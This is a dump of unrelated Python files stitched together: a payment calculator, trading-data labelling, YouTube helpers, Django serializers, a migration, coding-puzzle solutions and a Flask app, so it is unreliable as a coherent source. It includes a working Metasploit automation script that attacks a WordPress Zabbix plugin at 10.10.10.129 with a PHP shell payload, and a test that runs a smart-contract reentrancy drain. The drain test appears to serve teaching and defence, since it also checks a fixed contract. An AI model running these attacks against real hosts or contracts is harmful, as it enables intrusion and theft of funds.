print(website1[slice])
print(website2[slice])


"""
calcule o valor a ser pago em um produto considerando, seu preço normal e condição de pagamento
    - a vista dinheiro ou pix - 10% desconto
    - a vista cartão - 5% desconto
    - em até 2X no cartão crédito - preço normal
    - 3X ou mais no crédito - add 20% juros
"""

valor = float(input("Valor a ser pago: "))

cond_pag = int(input('Qual a forma de pagamento? \n1 - A vista \n2 - A prazo\n'))

if cond_pag == 1:
    pag_vista = int(input("Pagamento será:\n1 - Dinheiro/Pix\n2 - Cartão débito\n"))
    if(pag_vista == 1):
        desconto = valor * 0.9
        print(f'Pagamento a vista no pix ou dinheiro, com desconto de 10% fica R${desconto:.2f}')
    elif(pag_vista == 2):
        desconto = valor * 0.95
        print(f'Pagamento no débito, com desconto de 5% fica R${desconto:.2f}')
    elif (cond_pag != 1) and (cond_pag != 2):
        print('Por favor informe uma opção correta!')
elif cond_pag == 2:
    print("A prazo")
    prazo = int(input("Em quantas vezes? "))
    if prazo <= 2:
        parcela = valor / prazo
        print(f'Total de pagamento de {prazo}X no valor de R${parcela:.2f} por parcela.\nTotalizando o valor de R${valor:.2f}')
    else:
        valor_juros = valor*1.2
        parcela = (valor_juros) / prazo
        print(f'Total de pagamento de {prazo}X no valor de R${parcela:.2f} por parcela.\nTotalizando o valor de R${valor_juros:.2f}')

elif (cond_pag != 1) and (cond_pag != 2):
    print("Opção errada")

print('Volte Sempre')


from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('mycroft', port = 55552)

exploit = client.modules.use('exploit', 'unix/webapp/wordpress_zabbix_plugin_new')

exploit['RHOSTS'] = "10.10.10.129"

exploit['URI'] = "/wordpress"

payload = client.modules.use('payload', 'php/shell_php')

#print(exploit.execute(payload=payload))
#print(client.jobs.list)
#print(client.jobs.info(list(client.jobs.list.keys())[0]))

console_id = client.consoles.console().cid
console = client.consoles.console(console_id)
console.write('show options\n')
print(console.read()['data'])
print(console.run_module_with_output(exploit, payload))
console.write('uname -a\n')
print(console.read())


import sys
li = [0]*10001
for i in range(int(input())):
    li[int(sys.stdin.readline())] += 1

a = -1
for i in li:
    a += 1
    for j in range(i):
        print(a)


import pandas as pd
import numpy as np
from matplotlib import pyplot as plt
import datetime

target_name = '1_min_tp4_sl4_10yuan_1delay_target'

data = pd.read_csv('data/data_night_shifted_au.csv.gz')
data = data.set_index('time')
data.index = pd.to_datetime(data.index, format='%Y-%m-%d %H:%M:%S.%f')

period = 2*60*1
delay_period = 1
sl_ratio = 4
tp_ratio = 4

potential_list = []
wealth_factor = {'long': [], 'short': []}

for i, (d, df) in enumerate(data.groupby('date')):
    print(f"{d}", end='\r')
    # if i < 60:
    #     continue
    df = df[~df.index.duplicated()]
    night_hour = (df.index.time >= datetime.time(21,5,0)) | (df.index.time < datetime.time(2,25,0))
    morning_hour = (df.index.time >= datetime.time(9,5,0)) & (df.index.time < datetime.time(11,25,0))
    afternoon_hour = (df.index.time >= datetime.time(13,35,0)) & (df.index.time < datetime.time(14,55,0))
    trading_idx = df.index[night_hour | morning_hour | afternoon_hour]
    bid = df['bid_1']
    ask = df['ask_1']
    full_half_sec = pd.date_range(df.index.min(), df.index.max(), freq=pd.Timedelta(0.5, 's'))
    # break

    filled_bid = bid[~bid.index.duplicated()].reindex(full_half_sec).interpolate(method='pad', limit=period, limit_direction='forward').dropna()
    filled_ask = ask[~ask.index.duplicated()].reindex(full_half_sec).interpolate(method='pad', limit=period, limit_direction='forward').dropna()
    spread = (ask/bid) - 1
    spread = spread.rolling(50).mean() + (10/1000)/((bid + ask)/2) #10 yuan per lot
    # spread = spread.clip(lower=) #10 yuan per lot
    spread = spread.reindex(trading_idx)
    sl_short = 1/(1+sl_ratio*spread)
    sl_long = 1-sl_ratio*spread
    tp_short = 1/(1-tp_ratio*spread)
    tp_long = 1+tp_ratio*spread
    long_s = []
    short_s = []

    for i in range(1+delay_period, period+1+delay_period):
        short_s.append(2 - (filled_ask.shift(-i).reindex(trading_idx)/filled_bid.shift(-delay_period).reindex(trading_idx)))
        long_s.append((filled_bid.shift(-i).reindex(trading_idx)/filled_ask.shift(-delay_period).reindex(trading_idx)))

    short_pnl = pd.concat(short_s, axis=1, ignore_index=True)
    long_pnl = pd.concat(long_s, axis=1, ignore_index=True)

    short_tp_breach = np.argmax((short_pnl >= tp_short.values[:,np.newaxis]), axis=1)
    short_tp_breach[short_tp_breach == 0] = short_pnl.shape[1]
    short_sl_breach = np.argmax((short_pnl <= sl_short.values[:,np.newaxis]), axis=1)
    short_sl_breach[short_sl_breach == 0] = short_pnl.shape[1]

    long_tp_breach = np.argmax((long_pnl >= tp_short.values[:,np.newaxis]), axis=1)
    long_tp_breach[long_tp_breach == 0] = long_pnl.shape[1]
    long_sl_breach = np.argmax((long_pnl <= sl_short.values[:,np.newaxis]), axis=1)
    long_sl_breach[long_sl_breach == 0] = long_pnl.shape[1]

    short_tp_trig = (short_tp_breach < short_sl_breach)
    short_sl_trig = (short_sl_breach < short_tp_breach)
    long_tp_trig = (long_tp_breach < long_sl_breach)
    long_sl_trig = (long_sl_breach < long_tp_breach)

    short_tp_breach = np.argmax((short_pnl >= tp_short.values[:,np.newaxis]), axis=1)
    short_tp_breach[short_tp_breach == 0] = short_pnl.shape[1]
    short_sl_breach = np.argmax((short_pnl <= sl_short.values[:,np.newaxis]), axis=1)
    short_sl_breach[short_sl_breach == 0] = short_pnl.shape[1]

    long_tp_breach = np.argmax((long_pnl >= tp_short.values[:,np.newaxis]), axis=1)
    long_tp_breach[long_tp_breach == 0] = long_pnl.shape[1]
    long_sl_breach = np.argmax((long_pnl <= sl_short.values[:,np.newaxis]), axis=1)
    long_sl_breach[long_sl_breach == 0] = long_pnl.shape[1]

    short_tp_trig = (short_tp_breach < short_sl_breach)
    short_sl_trig = (short_sl_breach < short_tp_breach)
    long_tp_trig = (long_tp_breach < long_sl_breach)
    long_sl_trig = (long_sl_breach < long_tp_breach)

    # print(f"ltp={long_tp_trig.sum()} lsl={long_sl_trig.sum()} stp={short_tp_trig.sum()} ssl={short_sl_trig.sum()}")

    short_wealth_factor = short_pnl.iloc[:,-1].copy()
    # short
    if short_tp_trig.sum() > 0:
        idx = np.vstack([np.arange(short_tp_trig.sum()), short_tp_breach[short_tp_trig]])
        short_wealth_factor[short_tp_trig] = short_pnl.loc[short_tp_trig].values[tuple(idx)]

    if short_sl_trig.sum() > 0:
        idx = np.vstack([np.arange(short_sl_trig.sum()), short_sl_breach[short_sl_trig]])
        short_wealth_factor[short_sl_trig] = short_pnl.loc[short_sl_trig].values[tuple(idx)]

    long_wealth_factor = long_pnl.iloc[:,-1].copy()
    # long
    if long_tp_trig.sum() > 0:
        idx = np.vstack([np.arange(long_tp_trig.sum()), long_tp_breach[long_tp_trig]])
        long_wealth_factor[long_tp_trig] = long_pnl.loc[long_tp_trig].values[tuple(idx)]

    if long_sl_trig.sum() > 0:
        idx = np.vstack([np.arange(long_sl_trig.sum()), long_sl_breach[long_sl_trig]])
        long_wealth_factor[long_sl_trig] = long_pnl.loc[long_sl_trig].values[tuple(idx)]

    wealth_factor['short'].append(short_wealth_factor.copy())
    wealth_factor['long'].append(long_wealth_factor.copy())

    del long_pnl
    del short_pnl

    long_potential = (long_wealth_factor > 1).mean()
    short_potential = (short_wealth_factor > 1).mean()

    long_mean_profit = long_wealth_factor[long_wealth_factor > 1].mean()
    short_mean_profit = short_wealth_factor[short_wealth_factor > 1].mean()

    # print(f"{d}: {long_potential=:.5f}, {long_mean_profit=:.5f}, {short_potential=:.5f}, {short_mean_profit=:.5f}")
    potential_list.append({'date': d, 'count': trading_idx.shape[0], 'long_signal_pct': long_potential, 'long_mean_profit': long_mean_profit,
                           'short_signal_pct': short_potential, 'short_mean_profit': short_mean_profit})

pot_df = pd.DataFrame(potential_list)
pot_df['date'] = pd.to_datetime(pot_df['date'].astype(str))

ax = pot_df.set_index('date')[['long_signal_pct', 'short_signal_pct']].plot()
ax.figure.savefig(f'label/{target_name}_imbalance.png')

short_wealth = pd.concat(wealth_factor['short'])
short_wealth.name = 'short_wealth'
long_wealth = pd.concat(wealth_factor['long'])
long_wealth.name = 'long_wealth'

pd.concat([long_wealth, short_wealth], axis=1).reindex(data.index).to_csv(fr'label/{target_name}.csv')


# Standard library imports
import logging
import time
from urllib.parse import urlparse, parse_qs
from urllib.error import HTTPError

# Third party imports
from pytube import YouTube
from pytube.cli import on_progress
import requests
from simple_youtube_api.Channel import Channel
from simple_youtube_api.LocalVideo import LocalVideo
from slugify import slugify
from tqdm import tqdm
from youtube_dl import YoutubeDL

# User imports
from settings import *

# TODO
def is_youtube_video_region_restricted(yt_link_or_video_id):
    params = {
        "part": "contentDetails",
        "id": extract_youtube_video_id(yt_link_or_video_id),
        "key": API_KEY_GOOGLE,
    }
    response = requests.get(URL_YOUTUBE_API_VIDEOS, params=params)
    return response.url

# TODO improve
def extract_youtube_video_id(value):
    """
    Examples:
    - http://youtu.be/SA2iWivDJiE
    - http://www.youtube.com/watch?v=_oPAwA_Udwc&feature=feedu
    - http://www.youtube.com/embed/SA2iWivDJiE
    - http://www.youtube.com/v/SA2iWivDJiE?version=3&hl=en_US
    """
    query = urlparse(value)
    if query.hostname == "youtu.be":
        return query.path[1:]
    if query.hostname in ("www.youtube.com", "youtube.com"):
        if query.path == "/watch":
            p = parse_qs(query.query)
            return p["v"][0]
        if query.path[:7] == "/embed/":
            return query.path.split("/")[2]
        if query.path[:3] == "/v/":
            return query.path.split("/")[2]
    # fail?
    return None

def download_video_from_youtube(yt_link, output_filename):
    download_success = False

    while not download_success:
        try:
            yt = YouTube(yt_link, on_progress_callback=on_progress)

            yt.streams.first().download(
                output_path=LOCAL_VIDEOS_FOLDER_PATH, filename=output_filename
            )
            download_success = True
        except KeyError as e:
            # Video probably blocked in some countries
            if "streamingData" in str(e):
                raise

            print(e)
            time.sleep(10)
            download_success = False

def upload_to_youtube(channel_credentials_file, current_video_metadata):
    if not hasattr(upload_to_youtube, "channel"):
        channel = Channel()
        channel.login(CLIENT_SECRET_FILE, channel_credentials_file)
        upload_to_youtube.channel = channel

    video = LocalVideo(
        file_path=LOCAL_VIDEOS_FOLDER_PATH / current_video_metadata["mp4 name"]
    )

    video.set_title(current_video_metadata["mp4 name"])
    # video.set_description(current_video_metadata["Description"])
    video.set_privacy_status("public")
    return upload_to_youtube.channel.upload_video(video)

def get_channel_videos_list(all_uploads_playlist_id):
    """
    Returns a dictionary of format
    [
        {'video_title_1': 'youtube_video_id_1'},
        {'video_title_2': 'youtube_video_id_2'},
        ...
    ]
    """
    if hasattr(get_channel_videos_list, "title_id_dict"):
        return get_channel_videos_list.title_id_dict

    ytdl_opts = {
        "ignoreerrors": True,
        "extract_flat": "in_playlist",
        "dump_single_json": True,
        "quiet": True,
    }
    ytdl = YoutubeDL(ytdl_opts)

    channel_uploads_playlist_info = ytdl.extract_info(
        all_uploads_playlist_id, download=False
    )
    channel_videos = channel_uploads_playlist_info["entries"]
    channel_videos_by_title = {}

    for video in channel_videos:
        channel_videos_by_title[video["title"]] = video["id"]

    get_channel_videos_list.title_id_dict = channel_videos_by_title
    return channel_videos_by_title

def is_video_uploaded_on_destination_channel(channel_id, video_title):
    if not hasattr(is_video_uploaded_on_destination_channel, "title_id_dict"):
        is_video_uploaded_on_destination_channel.videos_list = get_channel_videos_list(
            # UC = User Channel
            # UU = User Uploads
            channel_id.replace("UC", "UU")
        )

    return video_title in is_video_uploaded_on_destination_channel.videos_list


from rest_framework import serializers
from .models import (Client, Order, Product, Provider)

class ClientSerializer(serializers.ModelSerializer):
    class Meta:
        model = Client
        fields = (
            'code',
            'name',
            'address',
            'client_type',
        )

class OrderSerializer(serializers.ModelSerializer):
    provider_info = serializers.SerializerMethodField()
    product_info = serializers.SerializerMethodField()
    client_info = serializers.SerializerMethodField()

    class Meta:
        model = Order
        fields = (
            'order_number',
            'provider',
            'provider_info',
            'product',
            'product_info',
            'client',
            'client_info',
            'order_date',
            'deliver_date',
            'priority',
            'items',
            'order_type',
            'distribution_center_store',
            'store_reference',
            'store_code',
            'company_reference',
            'company_member_code',
            'company_order_detail',
        )

    def get_provider_info(self, obj):
        return ProviderSerializer(obj.provider).data

    def get_product_info(self, obj):
        return ProductSerializer(obj.product).data

    def get_client_info(self, obj):
        return ClientSerializer(obj.client).data

    def validate(self, data):

        if data['order_type'] == 'CEDIS':

            if not data['distribution_center_store']:
                raise serializers.ValidationError("Field distribution_center_store is required.")

        if data['order_type'] == 'SUCURSAL':

            if not data['store_reference']:
                raise serializers.ValidationError("Field store_reference is required.")

            if not data['store_code']:
                raise serializers.ValidationError("Field store_code is required.")

        if data['order_type'] == 'EMPRESA_ASOCIADA':

            if not data['company_reference']:
                raise serializers.ValidationError("Field company_reference is required.")

            if not data['company_member_code']:
                raise serializers.ValidationError("Field company_member_code is required.")

            if not data['company_order_detail']:
                raise serializers.ValidationError("Field company_order_detail is required.")

        return data

class ProductSerializer(serializers.ModelSerializer):
    class Meta:
        model = Product
        fields = (
            'code',
            'description',
        )

class ProviderSerializer(serializers.ModelSerializer):
    class Meta:
        model = Provider
        fields = (
            'name',
            'address',
        )


import re
from csv import DictReader

import fire
import yaml

from helpers.aws_session import new_session_from_env
from mi.reporting.actions import each_stored_query_event, perform_query, write_csv
from mi.reporting.constants import VALIDATOR_PATH
from mi.reporting.resources import BadDateError, hash_str_to_int, parse_date_range

class ReportValidationError(ValueError):
    pass

def get_validator(report_name: str) -> dict:
    with open(VALIDATOR_PATH / f"{report_name}.yaml") as f:
        validator = {k: re.compile(v) for k, v in yaml.safe_load(f).items()}
    return validator

def validate(validator: dict[str, re.Pattern], results: list[dict], report_name: str):
    for row in results:
        extra_fields = row.keys() - validator.keys()
        if extra_fields:
            raise ReportValidationError(f"Extra fields found in output: {extra_fields}")

        missing_fields = validator.keys() - row.keys()
        if missing_fields:
            raise ReportValidationError(f"Fields missing in output: {missing_fields}")

        for field, regex in validator.items():
            value = row[field]
            if not regex.match(value):
                raise ReportValidationError(
                    f"{report_name}: "
                    f"Failed to validate field '{field}' with "
                    f"value '{value}' with pattern '{regex.pattern}'"
                )

def parse_results(path: str):
    with open(path) as f:
        results = list(DictReader(f=f))
    return results

def make_reports(
    session,
    env: str,
    workspace: str = None,
    partition_key=None,
    start_date: str = None,
    end_date: str = None,
):
    if workspace is None:
        workspace = env
    if partition_key is None:
        partition_key = ""

    for report_name, event in each_stored_query_event(
        session=session,
        workspace=workspace,
        env=env,
        partition_key=partition_key,
        start_date=start_date,
        end_date=end_date,
    ):
        data = perform_query(session=session, workspace=workspace, event=event)
        report_path = write_csv(
            data=data,
            workspace=workspace,
            env=env,
            report_name=report_name,
            partition_key=partition_key,
        )
        results = parse_results(path=report_path)
        if results:
            validator = get_validator(report_name=report_name)
            validate(validator=validator, results=results, report_name=report_name)
        else:
            print("\tNote: no results found")  # noqa

def _make_reports(
    env: str,
    workspace: str = None,
    partition_key: str = None,
    start_date: str = None,
    end_date: str = None,
):
    if partition_key is not None:
        partition_key = str(hash_str_to_int(key=partition_key))
    start_date, end_date = parse_date_range(start_date=start_date, end_date=end_date)

    if start_date > end_date:
        raise BadDateError(f"Start date {start_date} is after end date {end_date}")

    session = new_session_from_env(env=env)
    try:
        make_reports(
            session=session,
            env=env,
            workspace=workspace,
            partition_key=partition_key,
            start_date=start_date,
            end_date=end_date,
        )
    except ReportValidationError as err:
        print("\n❗❗❗ Validation error found in the previous report: ")  # noqa: T201
        print(str(err))  # noqa: T201

if __name__ == "__main__":
    fire.Fire(_make_reports)


from pylonemutestcase import PylonEmuTestCase
from pypylon import pylon
import unittest

class VersionInfoTestSuite(PylonEmuTestCase):
    # Tests that you can get proper version info
    def test_version_get(self):
        cam = self.create_first()
        cam.Open()

        v = cam.GetSfncVersion()

        # camemu has sfnc version 0.0.0.0
        self.assertEqual(0, v.getMajor())
        self.assertEqual(0, v.getMinor())
        self.assertEqual(0, v.getSubminor())
        self.assertEqual(0, v.getBuild())

        cam.Close()

    # Tests that you can compare version info
    def test_version_compare(self):
        v0 = pylon.VersionInfo(2, 2, 2)
        v1 = pylon.VersionInfo(2, 2, 1)
        v0_1 = pylon.VersionInfo(2, 2, 2)

        self.assertGreater(v0, v1)
        self.assertLess(v1, v0)
        self.assertEqual(v0, v0_1)

    # Tests that version info has repr
    def test_version_repr(self):
        cam = self.create_first()
        cam.Open()

        v = cam.GetSfncVersion()
        sfnc_version_repr = v.__repr__()
        self.assertEqual("<VersionInfo 0.0.0>", sfnc_version_repr)

if __name__ == "__main__":
    # import sys;sys.argv = ['', 'Test.testName']
    unittest.main()


from django.urls import path
from . import views

urlpatterns = [
    path('', views.HomeView.as_view(), name="Home"),
    path('accounts/registration/', views.RegisterFormView.as_view(), name="registration"),
    path('specialty/', views.SpecialtyView.as_view(), name='specialty'),
    path('specialty/<str:slug>/', views.specialty_single_page, name="specialty"),
    path('profil/<username>/', views.profil_user, name="profil"),
]


import pytest
from brownie import exceptions
from scripts.reentrancy.deploy_and_attack import (
    deploy_attack,
    deploy_ether_store,
    deploy_ether_store_fixed,
)
from scripts.utils import get_attacker_account, get_user_account
from web3 import Web3

def test_ether_store_attack_successful():
    # Deploy EtherStore smart contract
    ether_store = deploy_ether_store()

    # Initialize a user account
    user_account = get_user_account()
    deposit_amount_eth = 10
    value_wei = Web3.toWei(deposit_amount_eth, "ether")

    # User deposits 1 ether to EtherStore
    tx = ether_store.deposit({"from": user_account, "value": value_wei})
    tx.wait(1)

    # Assert that EtherStore balance now is 10 ETH
    assert ether_store.balanceOf() / 10**18 == 10

    # Deploy Attack contract
    attack_contract = deploy_attack(ether_store.address)

    # Assert that Attack contract balance is 0 ETH
    assert attack_contract.balanceOf() / 10**18 == 0

    # Call `attack` function of Attack contract
    attack_tx = attack_contract.attack(
        {
            "from": get_attacker_account(),
            "value": Web3.toWei(1.5, "ether"),
        }
    )

    attack_tx.wait(1)

    # Assert that EtherStore balance now is 0 ETH
    assert ether_store.balanceOf() / 10**18 == 0

    # Assert that Attack contract balance is 11.5 ETH
    assert attack_contract.balanceOf() / 10**18 == 11.5

def test_ether_store_attack_failed():
    # 1. Deploy EtherStore smart contracts
    ether_store = deploy_ether_store_fixed()
    user_account = get_user_account()
    deposit_amount_eth = 10

    value_wei = Web3.toWei(deposit_amount_eth, "ether")
    tx = ether_store.deposit({"from": user_account, "value": value_wei})
    tx.wait(1)
    print(
        f"Account {user_account.address} has deposited {deposit_amount_eth} ETH to EtherStore!"
    )
    print(f"Ether store balance {ether_store.balanceOf()/10**18} ETH")

    # 2. Deploy Attack contract
    attack_contract = deploy_attack(ether_store.address)

    # 3. Call `attack` function of Attack contract

    with pytest.raises(exceptions.VirtualMachineError):
        attack_tx = attack_contract.attack(
            {
                "from": get_attacker_account(),
                "value": Web3.toWei(1.5, "ether"),
            }
        )

        attack_tx.wait(1)


# https://leetcode.com/problems/daily-temperatures/

class Solution(object):
    def dailyTemperatures(self, T):
        """
        :type T: List[int]
        :rtype: List[int]
        """
        stack = []
        ans = [0] * len(T)
        for i, t in enumerate(T):
            while len(stack) > 0 and T[stack[-1]] < t:
                topidx = stack.pop()
                ans[topidx] = i - topidx
            stack.append(i)

        return ans

'''
input:[73,74,75,71,69,72,76,73]
here, stack holds the indexes of the elements who dont have an answer
't' is the current element being evaluated to be appended into the stack
if 't' is larger than the top stack element T[stack[-1]], then that index element, stack[-1] - has found someone who is greater temp than itself.
So the difference between the index of the 'greater temp' and our own temp (stack[-1]) is what we want to record

trace this out to understand further

'''


"""cargo bike + gbfs

Revision ID: eca8c5dd7d03
Revises: 877460bb55ba
Create Date: 2021-05-28 15:24:16.469093

"""
from alembic import op
import sqlalchemy as sa
from webapp.storage.base import Point

# revision identifiers, used by Alembic.
revision = 'eca8c5dd7d03'
down_revision = '877460bb55ba'
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('alert',
    sa.Column('id', sa.BigInteger(), nullable=False),
    sa.Column('created', sa.DateTime(), nullable=False),
    sa.Column('modified', sa.DateTime(), nullable=False),
    sa.Column('operator_id', sa.BigInteger(), nullable=True),
    sa.Column('location_id', sa.BigInteger(), nullable=True),
    sa.Column('resource_id', sa.BigInteger(), nullable=True),
    sa.Column('url', sa.String(length=255), nullable=True),
    sa.Column('type', sa.Enum('other', 'closure', name='alerttype'), nullable=True),
    sa.Column('summary', sa.Text(), nullable=True),
    sa.Column('description', sa.Text(), nullable=True),
    sa.Column('start', sa.DateTime(timezone=True), nullable=True),
    sa.Column('end', sa.DateTime(timezone=True), nullable=True),
    sa.ForeignKeyConstraint(['location_id'], ['location.id'], ),
    sa.ForeignKeyConstraint(['operator_id'], ['operator.id'], ),
    sa.ForeignKeyConstraint(['resource_id'], ['resource.id'], ),
    sa.PrimaryKeyConstraint('id'),
    mysql_charset='utf8',
    mysql_collate='utf8_unicode_ci'
    )
    op.create_table('location_file',
    sa.Column('location_id', sa.BigInteger(), nullable=True),
    sa.Column('file_id', sa.BigInteger(), nullable=True),
    sa.ForeignKeyConstraint(['file_id'], ['file.id'], ),
    sa.ForeignKeyConstraint(['location_id'], ['location.id'], )
    )
    op.create_table('regular_hours',
    sa.Column('id', sa.BigInteger(), nullable=False),
    sa.Column('created', sa.DateTime(), nullable=False),
    sa.Column('modified', sa.DateTime(), nullable=False),
    sa.Column('location_id', sa.BigInteger(), nullable=True),
    sa.Column('weekday', sa.SmallInteger(), nullable=True),
    sa.Column('period_begin', sa.Integer(), nullable=True),
    sa.Column('period_end', sa.Integer(), nullable=True),
    sa.ForeignKeyConstraint(['location_id'], ['location.id'], ),
    sa.PrimaryKeyConstraint('id'),
    mysql_charset='utf8',
    mysql_collate='utf8_unicode_ci'
    )
    op.create_table('resource_file',
    sa.Column('resource_id', sa.BigInteger(), nullable=True),
    sa.Column('file_id', sa.BigInteger(), nullable=True),
    sa.ForeignKeyConstraint(['file_id'], ['file.id'], ),
    sa.ForeignKeyConstraint(['resource_id'], ['resource.id'], )
    )
    op.add_column('location', sa.Column('twentyforseven', sa.Boolean(), nullable=True))
    op.add_column('location', sa.Column('geometry', Point(), nullable=False))
    op.add_column('operator', sa.Column('slug', sa.String(length=255), nullable=True))
    op.add_column('operator', sa.Column('url', sa.String(length=255), nullable=True))
    op.add_column('operator', sa.Column('email', sa.String(length=255), nullable=True))
    op.create_index(op.f('ix_operator_slug'), 'operator', ['slug'], unique=True)
    op.add_column('resource', sa.Column('photo_id', sa.BigInteger(), nullable=True))
    op.create_foreign_key(None, 'resource', 'file', ['photo_id'], ['id'], use_alter=True)

    op.execute("CREATE SPATIAL INDEX geometry_index ON location (geometry)")
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_constraint(None, 'resource', type_='foreignkey')
    op.drop_column('resource', 'photo_id')
    op.drop_index(op.f('ix_operator_slug'), table_name='operator')
    op.drop_column('operator', 'email')
    op.drop_column('operator', 'url')
    op.drop_column('operator', 'slug')
    op.drop_column('location', 'geometry')
    op.drop_column('location', 'twentyforseven')
    op.drop_table('resource_file')
    op.drop_table('regular_hours')
    op.drop_table('location_file')
    op.drop_table('alert')
    # ### end Alembic commands ###


SEATS_DICT = {0: "A", 1: "B", 2: "C", 4: "D", 5: "E", 6: "F"}

def read_input():
    n = int(input())
    seats = []
    for _ in range(n):
        seats.append(input())
    seats = [[y for y in x] for x in seats]

    m = int(input())
    groups = []
    for _ in range(m):
        g = input().split()
        groups.append([int(g[0]), g[1], g[2]])

    return n, seats, m, groups

def find_and_print_seats(group, seats):
    if group[0] == 3:
        if group[1] == "left":
            i, j = 0, 3
        else:
            i, j = 4, 7
    elif group[0] == 2:
        if group[1] == "left":
            if group[2] == "aisle":
                i, j = 1, 3
            else:
                i, j = 0, 2
        else:
            if group[2] == "aisle":
                i, j = 4, 6
            else:
                i, j = 5, 7
    elif group[0] == 1:
        if group[1] == "left":
            if group[2] == "aisle":
                i, j = 2, 3
            else:
                i, j = 0, 1
        else:
            if group[2] == "aisle":
                i, j = 4, 5
            else:
                i, j = 6, 7
    else:
        print("error")

    is_found = False
    for s in range(len(seats)):
        if seats[s][i:j] == ["." for _ in range(i, j)]:
            message = "Passengers can take seats:"
            for k in range(i, j):
                message += f" {s+1}{SEATS_DICT[k]}"
                seats[s][k] = "X"
            is_found = True
            S, I, J = s, i, j
            break

    if not is_found:
        print("Cannot fulfill passengers requirements")
    else:
        print(message)

        for seat in seats:
            print("".join(seat))

        for k in range(I, J):
            message += f" {S+1}{SEATS_DICT[k]}"
            seats[S][k] = "#"

    return seats

def main():
    n, seats, m, groups = read_input()

    for group in groups:
        seats = find_and_print_seats(group, seats)

if __name__ == "__main__":
    main()


from pyomo.environ import ConcreteModel, Var, Reals, ExternalFunction, sin, sqrt, Constraint, Objective
from pyomo.opt import SolverFactory

m = ConcreteModel()
m.z = Var(range(3), domain=Reals, initialize=2.)
m.x = Var(range(2), initialize=2.)
m.x[1] = 1.0

def blackbox(a,b):
   return sin(a-b)
bb = ExternalFunction(blackbox)

m.obj = Objective(
   expr=(m.z[0]-1.0)**2 + (m.z[0]-m.z[1])**2 + (m.z[2]-1.0)**2 \
       + (m.x[0]-1.0)**4 + (m.x[1]-1.0)**6 # + m.bb(m.x[0],m.x[1])
)
m.c1 = Constraint(expr=m.x[0] * m.z[0]**2 + bb(m.x[0],m.x[1]) == 2*sqrt(2.0))
m.c2 = Constraint(expr=m.z[2]**4 * m.z[1]**2 + m.z[1] == 8+sqrt(2.0))

m.pprint()

optTRF = SolverFactory('trustregion')
optTRF.solve(m, [bb])

m.display()


#! /usr/bin/env python3
"""
ONTAP REST API Python Client Library Sample Scripts

This script was developed by NetApp to help demonstrate NetApp
technologies.  This script is not officially supported as a
standard NetApp product.

Purpose: Script to create volume using ONTAP REST API Python Client Library.

usage: python3 create_volume.py [-h] -c CLUSTER -v VOLUME_NAME -vs VSERVER_NAME -a
                            AGGR_NAME -sz VOLUME_SIZE(MBs) [-u API_USER]
                            [-p API_PASS]
create_volume.py:  the following arguments are required: -c/--cluster, -v/--volume_name,
                                                             -vs/--vserver_name, -a/--aggr_name,
                                                             -sz/--volume_size

Copyright (c) 2020 NetApp, Inc. All Rights Reserved.

Licensed under the BSD 3-Clause "New" or "Revised" License (the "License");
you may not use this file except in compliance with the License.

You may obtain a copy of the License at
https://opensource.org/licenses/BSD-3-Clause

"""

from netapp_ontap import NetAppRestError
from netapp_ontap.resources import Volume

from utils import Argument, parse_args, setup_logging, setup_connection

def make_volume_pycl(
        volume_name: str,
        svm_name: str,
        aggr_name: str,
        volume_size: int) -> None:
    """Creates a new volume in a SVM"""

    v_size = int(volume_size) * 1024 * 1024  # MB -> Bytes
    volume = Volume.from_dict({
        'name': volume_name,
        'svm': {'name': svm_name},
        'aggregates': [{'name': aggr_name}],
        'size': v_size,
    })

    try:
        volume.post()
        print("Volume %s created successfully" % volume.name)
    except NetAppRestError as err:
        print("Error: Volume was not created: %s" % err)

def main() -> None:
    """Main function"""

    arguments = [
        Argument("-c", "--cluster", "API server IP:port details"),
        Argument("-v", "--volume_name", "Volume Name"),
        Argument("-vs", "--svm_name", "SVM Name"),
        Argument("-a", "--aggr_name", "Aggregate Name"),
        Argument("-sz", "--volume_size", "Size of the volume(MBs).")]
    args = parse_args("This script will create a new volume.", arguments)
    setup_logging()
    setup_connection(args.cluster, args.api_user, args.api_pass)

    make_volume_pycl(
        args.volume_name,
        args.svm_name,
        args.aggr_name,
        args.volume_size)

if __name__ == "__main__":
    main()


from flask import Flask, render_template, redirect, flash, request, Response, send_from_directory, jsonify
from pandas import DataFrame
import pandas
import os, time, random
from forms import *
import re

from functions import *

app = Flask(__name__)
app.config['CSRF_ENABLED'] = True
app.config['SECRET_KEY'] = "jk3k43l"

MAX_UID = 1
DATASETS = [] # Stores DataFrames for multiuser mode
while len(DATASETS) <= MAX_UID:
    DATASETS.append(DataFrame())
uid = 0

@app.route("/table")
def table():
    global uid
    if uid != None:
        if DATASETS[uid].shape[1] > 0:
            return DATASETS[uid].head(50).to_html(classes=['main_table'])
        else:
            return ""
    else:
        return ""

@app.route("/")
def index():
    if uid is None:
        redirect("/login")
    return render_template("index.html")

@app.route("/upload", methods=["GET","POST"])
def upload():
    global uid, DATASETS
    if uid == None:
        redirect("/login")
    form = CSVForm()
    fnm = ""
    if form.validate_on_submit():
        try:
            fileid = "uploads/csv-%s.csv" % (time.time()+random.randint(1,100))
            form.csvf.data.save(fileid)
            if form.rewrite.data == False and DATASETS[uid].shape[0] != 0:
                tmp = pandas.read_csv(fileid, engine='c')
                if form.join_cols.data == False:
                    if len(tmp.columns) == len(DATASETS[uid].columns):
                        DATASETS[uid] = pandas.concat([DATASETS[uid], tmp])
                else:
                        DATASETS[uid] = pandas.concat([DATASETS[uid], tmp], axis=1)
            else:
                DATASETS[uid] = pandas.read_csv(fileid)
            os.remove(fileid)
            fnm = "Uploaded!"
        except Exception as e:
            fnm = "Wrong file content! Error: %s" % str(e)
    return render_template("upload.html", form=form, filename=fnm)

@app.route("/calc", methods=["GET","POST"])
def calc():
    global DATASETS, uid
    if uid == None:
        return redirect("/login")
    form = CALCform()
    result = ""
    if form.validate_on_submit():
        data = form.expr.data
        if data:
            args = re.findall("\w", data)
            cols = DATASETS[uid].columns
            if not all([i in cols for i in args]):
                result = "Missing columns!"
            else:
                method = calculate(args, data)
                result = "Calculated! Using method: %s" % method
    return render_template("calc.html", form=form, result=result)

@app.route("/export.csv")
def export():
    global DATASETS, uid
    if uid != None:
        DATASETS[uid].to_csv(os.path.dirname(os.path.realpath(__file__))+'/static/export.csv')
        return send_from_directory(os.path.dirname(os.path.realpath(__file__))+'/static', 'export.csv')
    else:
        return "Nothing to export!"
